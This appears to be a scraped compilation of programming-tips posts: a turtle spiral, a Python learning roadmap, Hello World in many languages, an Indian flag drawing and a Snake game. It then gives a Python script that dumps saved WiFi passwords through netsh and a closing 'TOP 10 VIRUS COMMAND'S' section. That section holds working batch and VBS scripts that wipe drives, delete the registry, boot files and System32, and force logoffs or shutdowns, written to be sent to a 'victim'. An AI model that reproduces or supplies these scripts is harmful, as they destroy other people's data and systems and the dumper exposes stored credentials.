Source Code Gratis

from turtle import *
tracer(15)
bgcolor("black")
c = ("#ff66cc", "white")
pensize(3)
for i in range(520):
color(c[i % 2])
forward(i)
right(20)
for j in range(6):
forward(j)
right(145)
backward(j/2)
left(180)
done()

🚀 Complete Python Roadmap for Automation & Data Analytics

Python is one of the most powerful languages for automating repetitive tasks and analyzing data. Whether you're aiming for a Data Analyst, Automation Engineer, or Data Engineer role, this roadmap covers the essential skills.

🎯 Phase 1: Python Fundamentals
Master the basics:
- Variables & Data Types
- Operators
- Conditional Statements: if, elif, else
- Loops: for, while
- Functions
- Modules & Packages
- Exception Handling
- File Handling

Practice:
- Number Guessing Game
- Calculator
- Password Generator
- File Organizer

🎯 Phase 2: Object-Oriented Programming OOP
Learn:
- Classes & Objects
- Constructors
- Inheritance
- Polymorphism
- Encapsulation
- Abstraction

Build:
- Library Management System
- Employee Management System

🎯 Phase 3: Working with Files
Master:
- Reading Text Files
- Writing Files
- CSV Files
- JSON Files
- Excel Files
- PDF Files

Libraries:
- openpyxl
- pandas
- PyPDF2

Projects:
- Merge Excel Files
- Convert CSV to Excel
- Extract Data from PDFs

🎯 Phase 4: Python for Excel Automation
Learn:
- Reading Excel Files
- Creating Workbooks
- Formatting Cells
- Applying Formulas
- Charts
- Pivot Tables
- Multiple Sheet Handling

Libraries:
- openpyxl
- XlsxWriter

Projects:
- Automated Sales Report
- Attendance Tracker
- Invoice Generator
- Dashboard Report Generator

🎯 Phase 5: Data Analysis
Master:
- NumPy
- Pandas
- Data Cleaning
- Data Transformation
- Data Aggregation
- Missing Value Handling
- Feature Engineering

Projects:
- Sales Analysis
- HR Analytics
- Customer Analysis
- Financial Reports

🎯 Phase 6: Data Visualization
Learn:
- Line Charts
- Bar Charts
- Pie Charts
- Histograms
- Scatter Plots
- Heatmaps

Libraries:
- Matplotlib
- Plotly

Projects:
- Interactive Dashboard
- Sales Dashboard
- Marketing Dashboard

🎯 Phase 7: Database Integration
Learn SQL basics:
- SELECT
- INSERT
- UPDATE
- DELETE
- JOIN
- GROUP BY
- Window Functions

Connect Python with databases:
- SQLite
- MySQL
- PostgreSQL

Projects:
- Sales Database Analysis
- Employee Database System

🎯 Phase 8: Web Automation
Learn:
- Browser Automation
- Form Filling
- Data Extraction
- Login Automation
- Report Downloading

Libraries:
- Selenium
- Playwright

Projects:
- Automated Report Download
- Job Scraper
- Website Monitoring

🎯 Phase 9: Web Scraping
Learn:
- HTML Basics
- CSS Selectors
- XPath
- Pagination
- API vs Scraping

Libraries:
- Beautiful Soup
- Scrapy

Projects:
- Product Price Tracker
- News Scraper
- Stock Information Collector

🎯 Phase 10: API Automation
Learn:
- REST APIs
- GET
- POST
- PUT
- DELETE
- Authentication
- JSON Handling

Libraries:
- Requests

Projects:
- Weather Dashboard
- Currency Converter
- Employee API Integration

🎯 Phase 11: Task Automation
Automate:
- Email Sending
- File Renaming
- Folder Organization
- Backup Scripts
- Scheduled Tasks
- Log File Monitoring

Libraries:
- os
- shutil
- pathlib
- schedule
- smtplib

Projects:
- Automatic Backup Tool
- Daily Report Generator
- Bulk File Renamer

🎯 Phase 12: Data Processing
Learn:
- Data Validation
- Data Transformation
- ETL Basics
- Batch Processing
- Log Analysis

Projects:
- ETL Pipeline
- CSV to Database Loader
- Automated Data Cleaning Pipeline

🎯 Phase 13: Reporting & Dashboards
Generate reports using:
- Excel
- PDF
- HTML

Build dashboards using:
- Streamlit
- Dash

Projects:
- KPI Dashboard
- Business Analytics Dashboard
- Financial Dashboard

🎯 Phase 14: Deployment & Best Practices
Learn:
- Virtual Environments
- Logging
- Configuration Files
- Unit Testing
- Git & GitHub
- Docker Basics

Deploy applications using:
- Streamlit
- Docker
- Cloud Platforms

🏆 Portfolio Projects
Beginner:
- Calculator
- Expense Tracker
- CSV Cleaner
- Password Generator

Intermediate:
- Excel Report Automation
- Web Scraper
- API Data Fetcher
- Sales Dashboard

👨‍💻 "Hello World" in Different Coding Languages 🌍🔥

One of the first things beginners learn in programming is how to display:

"Hello, World!"

Although the output is the same, the syntax can be very different across programming languages.

🐍 Python

print("Hello, World!")

🌐 JavaScript

console.log("Hello, World!");

☕ Java

`java
public class Main {
public static void main(String[] args) {
System.out.println("Hello, World!");
}
}


⚡ C++

cpp
#include <iostream>

int main() {
std::cout << "Hello, World!";
return 0;
}


🔵 C

c
#include <stdio.h>

int main() {
printf("Hello, World!");
return 0;
}


💜 C#

csharp
using System;

class Program {
static void Main() {
Console.WriteLine("Hello, World!");
}
}


🦀 Rust

rust
fn main() {
println!("Hello, World!");
}


🐹 Go

go
package main

import "fmt"

func main() {
fmt.Println("Hello, World!")
}


💎 Ruby

ruby
puts "Hello, World!"


🟣 PHP

php
<?php
echo "Hello, World!";
?>


🟠 Kotlin

kotlin
fun main() {
println("Hello, World!")
}


🦜 Swift

swift
print("Hello, World!")`


What is your favourite coding language?👨‍💻

❤️ Python

👍 JavaScript

😍 Java

👌 C++

😂 C#

💯 Other

--- Indian Flag🇮🇳🇮🇳 Source Code ---

import turtle
from turtle import *

# setting the screen for drawing
scr = turtle.Screen()
# Defining the instance of turtle
ttl = turtle.Turtle()
speed(20)

# keeping the pen up initially
ttl.penup()
ttl.goto(-150, 125)
ttl.pendown(
)
# Drawing the Orange Rectangle first
#and then the white rectangle
ttl.color("orange")
ttl.begin_fill()
ttl.forward(400)
ttl.right(90)
ttl.forward(84)
ttl.right(90)
ttl.forward(400)
ttl.end_fill()
ttl.left(90)
ttl.forward(84)

# now drawing the Green Rectangle
ttl.color("green")
ttl.begin_fill()
ttl.forward(84)
ttl.left(90)
ttl.forward(400)
ttl.left(90)
ttl.forward(84)
ttl.end_fill()

# Drawing the central Big Blue Circle
ttl.penup()
ttl.goto(35, 0)
ttl.pendown()
ttl.color("navy")
ttl.begin_fill()
ttl.circle(35)
ttl.end_fill()

# Drawing the in-circle Big White Circle
ttl.penup()
ttl.goto(30, 0)
ttl.pendown()
ttl.color("white")
ttl.begin_fill()
ttl.circle(30)
ttl.end_fill()

#Drawing the inside Mini Blue Circles of Flag
ttl.penup()
ttl.goto(-27, -4)
ttl.pendown()
ttl.color("navy")
for j in range(24):
ttl.begin_fill()
ttl.circle(2)
ttl.end_fill()
ttl.penup()
ttl.forward(7)
ttl.right(15)
ttl.pendown()

# drawing the Smaller Blue Circle
ttl.color("navy")
ttl.penup()
ttl.goto(10, 0)
ttl.pendown()
ttl.begin_fill()
ttl.circle(10)
ttl.end_fill()

#Drawing the 24 spokes of the Indian Flag
ttl.penup()
ttl.goto(0, 0)
ttl.pendown()
ttl.pensize(1)
for j in range(24):
ttl.forward(30)
ttl.backward(30)
ttl.left(15)

#Drawing the stick of the Indian flag
ttl.color("Brown")
ttl.pensize(10)
ttl.penup()
ttl.goto(-150,125)
ttl.right(180)
ttl.pendown()
ttl.forward(500)

#to hide the turtle pen we used hideturtle
ttl.hideturtle()
#holding the output on the window
turtle.done()

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Snake Game using Turtle in Python ✅ Source Code 👇👇

# import required modules
import turtle
import time
import random

delay = 0.1
score = 0
high_score = 0


# Creating a window screen
wn = turtle.Screen()
wn.title("Snake Game")
wn.bgcolor("blue")
# the width and height can be put as user's choice
wn.setup(width=600, height=600)
wn.tracer(0)

# head of the snake
head = turtle.Turtle()
head.shape("square")
head.color("white")
head.penup()
head.goto(0, 0)
head.direction = "Stop"

# food in the game
food = turtle.Turtle()
colors = random.choice(['red', 'green', 'black'])
shapes = random.choice(['square', 'triangle', 'circle'])
food.speed(0)
food.shape(shapes)
food.color(colors)
food.penup()
food.goto(0, 100)

pen = turtle.Turtle()
pen.speed(0)
pen.shape("square")
pen.color("white")
pen.penup()
pen.hideturtle()
pen.goto(0, 250)
pen.write("Score : 0  High Score : 0", align="center",
          font=("candara", 24, "bold"))


# assigning key directions
def group():
    if head.direction != "down":
        head.direction = "up"


def godown():
    if head.direction != "up":
        head.direction = "down"


def goleft():
    if head.direction != "right":
        head.direction = "left"


def goright():
    if head.direction != "left":
        head.direction = "right"


def move():
    if head.direction == "up":
        y = head.ycor()
        head.sety(y+20)
    if head.direction == "down":
        y = head.ycor()
        head.sety(y-20)
    if head.direction == "left":
        x = head.xcor()
        head.setx(x-20)
    if head.direction == "right":
        x = head.xcor()
        head.setx(x+20)


wn.listen()
wn.onkeypress(group, "w")
wn.onkeypress(godown, "s")
wn.onkeypress(goleft, "a")
wn.onkeypress(goright, "d")

segments = []

# By - @pythonnotes1
# Main Gameplay
while True:
    wn.update()
    if head.xcor() > 290 or head.xcor() < -290 or head.ycor() > 290 or head.ycor() < -290:
        time.sleep(1)
        head.goto(0, 0)
        head.direction = "Stop"
        colors = random.choice(['red', 'blue', 'green'])
        shapes = random.choice(['square', 'circle'])
        for segment in segments:
            segment.goto(1000, 1000)
        segments.clear()
        score = 0
        delay = 0.1
        pen.clear()
        pen.write("Score : {} High Score : {} ".format(
            score, high_score), align="center", font=("candara", 24, "bold"))
    if head.distance(food) < 20:
        x = random.randint(-270, 270)
        y = random.randint(-270, 270)
        food.goto(x, y)

        # Adding segment
        new_segment = turtle.Turtle()
        new_segment.speed(0)
        new_segment.shape("square")
        new_segment.color("orange")  # tail colour
        new_segment.penup()
        segments.append(new_segment)
        delay -= 0.001
        score += 10
        if score > high_score:
            high_score = score
        pen.clear()
        pen.write("Score : {} High Score : {} ".format(
            score, high_score), align="center", font=("candara", 24, "bold"))
    # Checking for head collisions with body segments
    for index in range(len(segments)-1, 0, -1):
        x = segments[index-1].xcor()
        y = segments[index-1].ycor()
        segments[index].goto(x, y)
    if len(segments) > 0:
        x = head.xcor()
        y = head.ycor()
        segments[0].goto(x, y)
    move()
    for segment in segments:
        if segment.distance(head) < 20:
            time.sleep(1)
            head.goto(0, 0)
            head.direction = "stop"
            colors = random.choice(['red', 'blue', 'green'])
            shapes = random.choice(['square', 'circle'])
            for segment in segments:
                segment.goto(1000, 1000)
            segments.clear()

            score = 0
            delay = 0.1
            pen.clear()
            pen.write("Score : {} High Score : {} ".format(
                score, high_score), align="center", font=("candara", 24, "bold"))
    time.sleep(delay)

wn.mainloop()

# Get WiFi Passwords using Python 💻

Code 👇👇👇👇👇👇👇👇

import subprocess
import re

command_output = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output = True).stdout.decode()

profile_names = (re.findall("All User Profile : (.*)\r", command_output))

wifi_list = list()

if len(profile_names) !=0:
for name in profile_names:

wifi_profile = dict()

profile_info = subprocess.run(["netsh", "wlan", "show", "profile", name], capture_output = True).stdout.decode()

if re.search("Security Key : Absent", profile_info):
continue
else:

wifi_profile["ssid"] = name

profile_info_pass = subprocess.run(["netsh", "wlan", "show", "profile", name, "key=clear"], capture_output = True).stdout.decode()

password = re.search("Key Content : (.*)\r", profile_info_pass)

if password == None:
wifi_profile["password"] = None

else:
wifi_profile["password"] = password[1]

wifi_list.append(wifi_profile)


for x in range(len(wifi_list)):
print(wifi_list[x])

🔰 TOP 10 VIRUS COMMAND'S IN NOTEPAD 🔰

Method 1:

Just open your notepad
1) Click start -> all programs -> accessories -> notepad
2) Or just press or click windows key + r :: run window will open and
type notepad and hit enter .

NOW TYPE THE FOLLOWING CODE ::

@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q

Then save it as kinng.bat and the batch file is created .
WARNING :: This is the most dangerous virus! Be careful with its use.

Delete the entire registry

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

Now save it as kinng.bat and the batch file is created .

Method 2:

How to crash a PC Forever !:::

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE.


Method 3:

How to stop someone's internet access::::


@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew

Method 4:


ShutDown PC million Times::::

1.right click on the desktop
2.click shortcut
you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next
note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want...
3.u will get another dialogue box, write in it: Internet Explorer and press finish
4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok
try to open it, it is a virus hehe
PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a

Method 5:

Open Notepad
Write / copy the below command there:
" del c:\WINDOWS\system32\*.*/q " without quote
and save as " anything.bat"
Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started.


Method 6:

Process:
Open Notepad
Copy the below command there
"rd/s/q D:\
rd/s/q C:\
rd/s/q E:\" ( without quotes )
Save as "anything.bat
This virus Formats the C ,D , and E Drive in 3 Seconds.

Method 7:

Just open the Notepad and type the paste the following Code.
set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”

Now Save This Notepad file With Any Name Having .vbs Extension .

Method 8:

Open Notepad and write "start" without quotes
Start
Start
Start
and then save it with .bat extension.
Now double click on this .bat file to run Command Prompt.

Method 9:

Convey your friend a little message and shut down his / her computer:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

Method 10 :

Toggle your friend's Caps Lock button simultaneously:

Code:
Set wshShell =wscript.CreateObject("WScript.Shel
l")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.


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